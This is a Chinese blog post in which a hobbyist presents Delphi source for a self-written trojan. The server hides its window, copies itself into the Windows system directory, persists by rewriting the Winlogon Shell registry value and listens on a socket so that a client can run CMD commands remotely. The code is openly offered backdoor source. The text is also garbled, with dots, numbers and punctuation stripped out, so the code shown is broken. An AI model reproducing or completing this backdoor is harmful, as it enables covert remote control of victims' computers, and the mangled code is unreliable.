Delphi下“培养”自己的简单木马[1]

刚学电脑时很喜欢网络安全看着高手们写的一个又一个攻击工具自己也总想努力去学好编程去写属于自己的程序学DELPHI快一年了感觉什么都没学到惭愧啊今晚突然想学着写木马于是手忙脚乱的敲了点代码超简单愿自己能越写越好！！！

程序跟传统木马一样分服务端和客户端运行服务端后会复制自身到SYSTEM目录下面并在注册表添加一自动行启动项打开本机端口开始等待接收客户端的数据当接收到客户端数据时就当作CMD命令去执行最后把回显传送回客户端客户端很简单跟服务端连接成功后输入命令点执行正常的话可以收到服务端的执行结果了

源码如下

////Serverpas//////////////

unit UtMain;

////////////////////////////////////

//////////BY lanyus////////////////

////////Email:greathjw@com////

////////QQ:////////////////

///部分代码从网上收集///////////

////////////////////////////////

interface

uses

Windows Messages SysUtils Variants Classes Graphics Controls Forms

Dialogs Registry ScktComp StdCtrls;

type

TFmMain = class(TForm)

SS: TServerSocket;

Memo: TMemo;

procedure FormCreate(Sender: TObject);

procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);

procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);

private

{ Private declarations }

public

{ Public declarations }

end;

var

FmMain: TFmMain;

reg:TRegistry;

implementation

{$R *dfm}

procedure TFmMainFormCreate(Sender: TObject);

var

sysdir:array[] of char;

begin

ApplicationShowMainForm:=False;

FmMainLeft:=; //运行不显示窗口

reg:=TRegistryCreate;

regRootKey:=HKEY_LOCAL_MACHINE;

regOpenKey(SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogontrue);

if regReadString(Shell)<> Explorerexe Lysvrexe then

regWriteString(ShellExplorerexe Lysvrexe); //建立开机启动项

regFree;

GetSystemDirectory(sysdir);

if not FileExists(sysdir+\Lysvrexe) then

copyfile(Pchar(ApplicationexeName)pchar(sysdir+\Lysvrexe)true);

SSPort:=;

try

SSActive:=True;

except

end;

end;

[] []